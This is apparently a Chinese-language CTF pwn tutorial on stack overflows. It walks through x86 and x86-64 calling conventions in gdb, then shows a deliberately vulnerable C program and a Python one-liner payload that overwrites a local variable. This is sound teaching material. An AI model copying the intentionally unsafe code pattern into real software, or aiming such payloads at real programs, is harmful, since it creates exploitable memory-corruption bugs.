Pwn 栈溢出

栈溢出

前置知识需求

  • C、Python
  • x86-64、x86 汇编
  • gdb、objdump 等工具
  • linux

参考资料

Wikipedia

维基百科-堆栈(一种数据结构) 👇

Pasted image 20220812194240

维基百科-调用栈 👇

image-20231020102621336

函数调用栈

注意: 以下内容仅涉及 x86 架构CPU,暂不考虑 ARM、MIPS 等架构

一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
// demo.c
int func(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8) {
int loc1 = arg1 + arg3;
int loc2 = arg6 + arg8;
int loc3 = arg2 + arg7;
return loc1 + loc2 + loc3;
}
int main() {
func(1, 2, 3, 4, 5, 6, 7, 8);
}
// gcc -m32 -no-pie -fno-pie demo.c -o call_stack_32
// gcc -no-pie -fno-pie demo.c -o call_stack

gcc参数说明

  • -m32 用于指明生成 32bit 程序
  • -no-pie 用于指明禁用生成位置无关(PIE)文件
  • -fno-pie 类似于 -no-pie,但这个是作为编译选项来指定的,而 -no-pie是作为链接器选项来指定的,这两者的区别可以看这个回答

接下来通过 GDB 进行调试分析:

这里的 GDB 安装了 pwndbg 插件

32bit

  • 现在 32bit 的机器很少了,CTF比赛中基本上全是 64bit 的程序
  • 重点放在 64bit,不过 32bit 的还是需要学习

接下来是 32bit 的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// gdb call_stack_32
pwndbg> disass main
Dump of assembler code for function main:
=> 0x080491b0 <+0>: endbr32
0x080491b4 <+4>: push ebp
0x080491b5 <+5>: mov ebp,esp
0x080491b7 <+7>: push 0x8
0x080491b9 <+9>: push 0x7
0x080491bb <+11>: push 0x6
0x080491bd <+13>: push 0x5
0x080491bf <+15>: push 0x4
0x080491c1 <+17>: push 0x3
0x080491c3 <+19>: push 0x2
0x080491c5 <+21>: push 0x1
0x080491c7 <+23>: call 0x8049176 <func>
0x080491cc <+28>: add esp,0x20
0x080491cf <+31>: mov eax,0x0
0x080491d4 <+36>: leave
0x080491d5 <+37>: ret
End of assembler dump.
pwndbg> disass func
Dump of assembler code for function func:
0x08049176 <+0>: endbr32
0x0804917a <+4>: push ebp
0x0804917b <+5>: mov ebp,esp
0x0804917d <+7>: sub esp,0x10
0x08049180 <+10>: mov edx,DWORD PTR [ebp+0x8]
0x08049183 <+13>: mov eax,DWORD PTR [ebp+0x10]
0x08049186 <+16>: add eax,edx
0x08049188 <+18>: mov DWORD PTR [ebp-0xc],eax
0x0804918b <+21>: mov edx,DWORD PTR [ebp+0x1c]
0x0804918e <+24>: mov eax,DWORD PTR [ebp+0x24]
0x08049191 <+27>: add eax,edx
0x08049193 <+29>: mov DWORD PTR [ebp-0x8],eax
0x08049196 <+32>: mov edx,DWORD PTR [ebp+0xc]
0x08049199 <+35>: mov eax,DWORD PTR [ebp+0x20]
0x0804919c <+38>: add eax,edx
0x0804919e <+40>: mov DWORD PTR [ebp-0x4],eax
0x080491a1 <+43>: mov edx,DWORD PTR [ebp-0xc]
0x080491a4 <+46>: mov eax,DWORD PTR [ebp-0x8]
0x080491a7 <+49>: add edx,eax
0x080491a9 <+51>: mov eax,DWORD PTR [ebp-0x4]
0x080491ac <+54>: add eax,edx
0x080491ae <+56>: leave
0x080491af <+57>: ret
End of assembler dump.

当程序执行至 ► 0x8049180 <func+10> mov edx, dword ptr [ebp + 8] 时,此时的栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> stack 0x10
00:0000│ esp 0xffffd480 —▸ 0xf7fbc3fc (__exit_funcs) —▸ 0xf7fbd180 (initial) ◂— 0x0
01:00040xffffd484 ◂— 0x80000
02:00080xffffd488 ◂— 0x0
03:000c│ 0xffffd48c —▸ 0x8049233 (__libc_csu_init+83) ◂— 0x8301c683
04:0010│ ebp 0xffffd490 —▸ 0xffffd4b8 ◂— 0x0
05:00140xffffd494 —▸ 0x80491cc (main+28) ◂— 0xb820c483 // 返回地址
06:00180xffffd498 ◂— 0x1 // arg1
07:001c│ 0xffffd49c ◂— 0x2 // arg2
08:00200xffffd4a0 ◂— 0x3 // ...
09:00240xffffd4a4 ◂— 0x4
0a:00280xffffd4a8 ◂— 0x5
0b:002c│ 0xffffd4ac ◂— 0x6
0c:00300xffffd4b0 ◂— 0x7
0d:00340xffffd4b4 ◂— 0x8
0e:00380xffffd4b8 ◂— 0x0
0f:003c│ 0xffffd4bc —▸ 0xf7debed5 (__libc_start_main+245) ◂— add esp, 0x10
  • 32bit 情况下函数参数在函数返回地址的上方 (所有参数都在栈上)
  • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

64bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// gdb call_stack
pwndbg> disass main
Dump of assembler code for function main:
=> 0x0000000000401152 <+0>: endbr64
0x0000000000401156 <+4>: push rbp
0x0000000000401157 <+5>: mov rbp,rsp
0x000000000040115a <+8>: push 0x8
0x000000000040115c <+10>: push 0x7
0x000000000040115e <+12>: mov r9d,0x6
0x0000000000401164 <+18>: mov r8d,0x5
0x000000000040116a <+24>: mov ecx,0x4
0x000000000040116f <+29>: mov edx,0x3
0x0000000000401174 <+34>: mov esi,0x2
0x0000000000401179 <+39>: mov edi,0x1
0x000000000040117e <+44>: call 0x401106 <func>
0x0000000000401183 <+49>: add rsp,0x10
0x0000000000401187 <+53>: mov eax,0x0
0x000000000040118c <+58>: leave
0x000000000040118d <+59>: ret
End of assembler dump.
pwndbg> disass func
Dump of assembler code for function func:
0x0000000000401106 <+0>: endbr64
0x000000000040110a <+4>: push rbp
0x000000000040110b <+5>: mov rbp,rsp
0x000000000040110e <+8>: mov DWORD PTR [rbp-0x14],edi
0x0000000000401111 <+11>: mov DWORD PTR [rbp-0x18],esi
0x0000000000401114 <+14>: mov DWORD PTR [rbp-0x1c],edx
0x0000000000401117 <+17>: mov DWORD PTR [rbp-0x20],ecx
0x000000000040111a <+20>: mov DWORD PTR [rbp-0x24],r8d
0x000000000040111e <+24>: mov DWORD PTR [rbp-0x28],r9d
0x0000000000401122 <+28>: mov edx,DWORD PTR [rbp-0x14]
0x0000000000401125 <+31>: mov eax,DWORD PTR [rbp-0x1c]
0x0000000000401128 <+34>: add eax,edx
0x000000000040112a <+36>: mov DWORD PTR [rbp-0xc],eax
0x000000000040112d <+39>: mov edx,DWORD PTR [rbp-0x28]
0x0000000000401130 <+42>: mov eax,DWORD PTR [rbp+0x18]
0x0000000000401133 <+45>: add eax,edx
0x0000000000401135 <+47>: mov DWORD PTR [rbp-0x8],eax
0x0000000000401138 <+50>: mov edx,DWORD PTR [rbp-0x18]
0x000000000040113b <+53>: mov eax,DWORD PTR [rbp+0x10]
0x000000000040113e <+56>: add eax,edx
0x0000000000401140 <+58>: mov DWORD PTR [rbp-0x4],eax
0x0000000000401143 <+61>: mov edx,DWORD PTR [rbp-0xc]
0x0000000000401146 <+64>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000401149 <+67>: add edx,eax
0x000000000040114b <+69>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040114e <+72>: add eax,edx
0x0000000000401150 <+74>: pop rbp
0x0000000000401151 <+75>: ret
End of assembler dump.

进入 func 函数时,此时的寄存器值:

1
2
3
4
5
6
7
8
9
10
RAX  0x401152 (main) ◂— 0xe5894855fa1e0ff3
RBX 0x401190 (__libc_csu_init) ◂— 0x8d4c5741fa1e0ff3
RCX 0x4 // arg4
RDX 0x3 // arg3
RDI 0x1 // arg1
RSI 0x2 // arg2
R8 0x5 // ...
R9 0x6
R10 0x0
R11 0x0

当执行到 0x401150 <func+74> pop rbp 时,此时的栈:

1
2
3
4
5
00:0000│ rbp rsp 0x7fffffffe320 —▸ 0x7fffffffe340 ◂— 0x0
01:00080x7fffffffe328 —▸ 0x401183 (main+49) ◂— 0xb810c48348 # 返回地址
02:00100x7fffffffe330 ◂— 0x7
03:00180x7fffffffe338 ◂— 0x8
04:00200x7fffffffe340 ◂— 0x0
  • 64bit 环境下,前六个参数通过寄存器传递 (依次是 rdi, rsi, rdx, rcx, r8, r9),其余的参数再通过栈传递
  • 函数返回值通过 rax 寄存器传递

64位的常用寄存器:

image-20220118093536407

📌Q1: endbr64 指令干啥用的

image-20211226130846802

  • 来自 csdn 的回答
    Intel CET的作用及endbr64指令
    Intel CET提供了影子栈及间接跳转指令追踪功能,保护控制流完整性(wiki: here)。
    Intel CET相关的指令如endbr64是后向(backward)兼容的。
    在Intel CET中,间接跳转的处理逻辑中被插入一段过程:将CPU状态从DLE切换成WAIT_FOR_ENDBRANCH
    在间接跳转之后查看下一条指令是不是endbr64。如果指令是endbr64指令,那么该指令会将CPU状态从WAIT_FOR_ENDBRANCH恢复成DLE。另一方面,如果下一条指令不是endbr64,说明程序可能被控制流劫持了,CPU就报错(#CP)。因为按照正确的逻辑,间接跳转后应该需要有一条对应的endbr64指令来回应间接跳转,如果不是endbr64指令,那么程序控制流可能被劫持并前往其它地址(其它任意地址上是以非endbr64开始的汇编代码)(涉及编译器兼容CPU新特性)。

📌Q2: 为什么反编译的代码里面没有 sub rsp, xxx

  • 来自 stackoverflow 的回答
    The System V ABI for x86-64 specifies a red zone of 128 bytes below %rsp. These 128 bytes belong to the function as long as it doesn’t call any other function (it is a leaf function).
    Signal handlers (and functions called by a debugger) need to respect the red zone, since they are effectively involuntary function calls.
    All of the local variables of your test_function, which is a leaf function, fit into the red zone, thus no adjustment of %rsp is needed. (Also, the function has no visible side-effects and would be optimized out on any reasonable optimization setting).
    You can compile with -mno-red-zone to stop the compiler from using space below the stack pointer. Kernel code has to do this because hardware interrupts don’t implement a red-zone.

  • 另一个回答:https://stackoverflow.com/questions/13201644/why-does-the-x86-64-gcc-function-prologue-allocate-less-stack-than-the-local-var

  • 《CTF权威指南PWN篇》第10章 P185 的解释
    这是一项编译优化,rsp 以下 128 字节的区域被称为 red zone,是一块保留内存,不会被信号或中断所修改,函数可以在不调整栈指针的情况下用这块内存保存临时数据。

📙扩展资料

栈溢出原理

转自 ctf-wiki:

  • 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程
  • 触发栈溢出的前提
    • 程序须往栈上写数据
    • 写入的数据长度没有得到良好的控制

可利用函数

想要写数据,就要先寻找能够读取用户输入的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// linux系统调用 - read
ssize_t read(int fildes, void *buf, size_t nbyte); // example: read(0, buf, 0x10);

// 读取一行数据 结束符: b'\n'
char * fgets(char * restrict str, int size, FILE * restrict stream);
char * gets(char *str);

// 按照格式化字符串读数据, 常见的格式化字符串: %s
int scanf(const char *restrict format, ...); // example: scanf("%s", buf);
int fscanf(FILE *restrict stream, const char *restrict format, ...);
int sscanf(const char *restrict s, const char *restrict format, ...);

// 字符串复制,遇到'\x00'停止
char * strcpy(char * dst, const char * src);
char * strncpy(char * dst, const char * src, size_t len);
// 字符串拼接,遇到'\x00'停止
char * strcat(char *restrict s1, const char *restrict s2);
char * strncat(char *restrict s1, const char *restrict s2, size_t n);

实例

接下来通过一个简单的例子来介绍栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// overflow.c
#include <stdio.h>
void vuln() {
char buf[0x18];
long target = 0xdeadbeef;

puts("You can say something:");
read(0, buf, 0x20);
if (target == 0x1234) {
puts("Bingo!");
} else {
puts("Failed.");
}
}
int main() {
vuln();
return 0;
}
// gcc overflow.c -fno-stack-protector -o overflow

📌gcc 编译参数里的 -fno-stack-protector 是用来干什么的?

  现在的GCC默认会启用栈保护机制,也就是Stack Canaries, -fno-stack-protector 是用来关闭此保护机制的

思路

  1. 程序中有一个大小为 0x18 的buf,但是可以读取 0x20 个字节的数据,存在栈溢出漏洞,可以覆盖掉紧邻 buftarget 变量
  2. 共输入 0x20 个字节的数据,前 0x18 个字节填充buf,后 0x8 个字节输入 0x1234 的字节流,覆盖掉 target 值即可成功进入 Bingo

我们可以用 python 生成所需要输入的数据:

1
2
3
❯ python3 -c "from struct import pack; print((b'A'*0x18 + pack('<Q', 0x1234)).decode(), end='')" | ./overflow
You can say something:
Bingo!

GDB调试看一下 read 后的栈是什么状态:

1
2
3
gdb ./overflow
pwndbg> b *vuln+60
pwndbg> r <<< $(python3 -c "from struct import pack; print((b'A'*0x18 + pack('<Q', 0x1234)).decode(), end='')")

断点位置

这里根据需要实际情况下断点,断点下在 call read@plt 之后,用来查看 read 之后的栈状态

  • 环境不同可能导致编译出来的程序不一致
  • 可以先 disass vuln 查看一下

python3-struct的使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
───[ DISASM ]───
0x55555555518e <vuln+37> mov edx, 0x20
0x555555555193 <vuln+42> mov rsi, rax
0x555555555196 <vuln+45> mov edi, 0
0x55555555519b <vuln+50> mov eax, 0
0x5555555551a0 <vuln+55> call read@plt <read@plt>

0x5555555551a5 <vuln+60> cmp qword ptr [rbp - 8], 0x1234
0x5555555551ad <vuln+68> jne vuln+84 <vuln+84>

0x5555555551af <vuln+70> lea rdi, [rip + 0xe65]
0x5555555551b6 <vuln+77> call puts@plt <puts@plt>

0x5555555551bb <vuln+82> jmp vuln+96 <vuln+96>

0x5555555551bd <vuln+84> lea rdi, [rip + 0xe5e]
──[ SOURCE (CODE) ]───
In file: /home/ubuntu/Datas/learn/01_ROP/src/overflow.c
3 char buf[0x18];
4 long target = 0xdeadbeef;
5
6 puts("You can say something:");
7 read(0, buf, 0x20);
8 if (target == 0x1234) {
9 puts("Bingo!");
10 } else {
11 puts("Failed.");
12 }
13 }
──[ STACK ]───
00:0000│ rsi rsp 0x7fffffffe320 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 2 skipped
03:00180x7fffffffe338 ◂— 0x1234 # 可以看到局部变量target已经被覆盖成了0x1234
04:0020│ rbp 0x7fffffffe340 —▸ 0x7fffffffe350 ◂— 0x0
05:00280x7fffffffe348 —▸ 0x5555555551de (main+18) ◂— mov eax, 0
06:00300x7fffffffe350 ◂— 0x0
07:00380x7fffffffe358 —▸ 0x7ffff7df0083 (__libc_start_main+243) ◂— mov edi, eax

小结

栈溢出是一个特定的缓冲区溢出,通常情况下有这样的缓冲区溢出需求:

  1. 栈溢出:覆盖特定的局部变量值(如上面的实例)
  2. 栈溢出:覆盖返回地址(构造ROP等, 下一节内容)
  3. 数据段溢出:覆盖特定的bss、data段的值
  4. 堆溢出:覆盖堆中的malloc_chunk的特定值(堆利用章节内容)